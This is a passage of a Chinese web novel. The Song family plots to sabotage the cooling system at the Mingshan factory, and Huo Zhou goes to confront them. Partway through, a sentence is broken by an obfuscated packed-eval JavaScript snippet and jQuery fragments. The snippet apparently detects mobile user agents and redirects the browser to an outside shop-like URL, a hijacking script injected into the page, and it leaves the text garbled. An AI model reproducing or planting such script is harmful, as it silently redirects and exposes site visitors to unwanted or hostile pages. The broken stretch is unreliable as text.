颂岳仍在犹豫:“可是萧菘蓝......”
颂城打断他:“成了,我们拿回鸣山,还能卖一个人情。败了,责任可以全推给她,这笔买卖,怎么算都不亏。”
颂岳闭眼思索,手指在桌面上敲了敲:“你让我再好好想想。”
“堂叔,像这样的机会可不多。”
颂岳叹了口气,看着他问:“你准备怎么做?”
“器械维修。”颂城知道他已经动摇了,继续道,“在这一方面,没人比得上咱们,一旦设备坏死无法正常启用,霍枔没办法只能找我们的人去检修,到时候我会安排一队新的人进去。”
颂岳还是点了头。
“让你的人机灵点,不管怎么样,千万不要暴露了里面的人,那是我们最后的底牌。”
“明白。”
*
霍枔刚回到住处,外套还没脱下,就收到了鸣山工厂的紧急通讯。
“小姐,一号冷却系统突然宕机了。”
霍枔解外套的动作停住:“那就赶紧想办法修啊,我养着你们是吃闲饭的吗?”
“可是这套系统的核心部件和底层控制代码都是颂家弄的,之前也一直是他们的人负责维护的,但后面交接时留下的图纸却并不完整。我们的人不敢乱动,怕彻底搞坏了。”
霍枔闭了闭眼,胸口一股火气往上顶。她深吸一口气,压着情绪:“知道了。”
切断通讯,她马上转而联系苍舒雪,但过了许久才接通,传来的却是阿今的声音:“霍小姐。”
“你家小姐呢?”
“小姐近几日身体不适,需要静养,如果是工厂的事一切您决定就好。”
霍枔捏着通讯器的手指微微用力,她都能想象出苍舒雪此刻或许正悠闲地摆弄着她那些陶瓷人偶。
“她倒是会挑时间生病。”霍枔冷笑着。前些
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16456214|181001||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
日子苍舒雪和叔父闹得不欢而散,后面就一直见不到人,现在居然用这种拙劣的借口搪塞她。
霍枔在原地站了片刻,最终还是拿起刚脱下的外套,重新穿上。
“备车,去颂家。”
霍枔被引至偏厅等候,茶水送上来了,却迟迟不见颂岳的身影。
又过了十几分钟,颂城才慢悠悠从门外进来,身上还穿着工装夹克,手上沾着些许油污,应该是刚从工坊里出来。
“今天刮的什么风啊,都把你给吹来了。”
颂城随意地在主位坐下,接过旁人递来的布擦手。
霍枔皱眉看了他一眼,努力维持着表面的平静:“颂先生呢?”
“我堂叔啊,他最近操心家里生意,累着了,正在休息。”颂城笑眯眯地看着霍枔,“你有什么事跟我说也一样。”
霍枔心下明了,颂岳这是故意避而不见。她不再绕弯子:“鸣山工厂的冷却系统出了问题,我记得这一部分当初是你们负责安装调试的。”
“哦?”颂城往后一靠,手搭在沙发上说,“好像是吧,但霍家接手的时候不是把人都踢出去了吗,想来这些问题你们应该是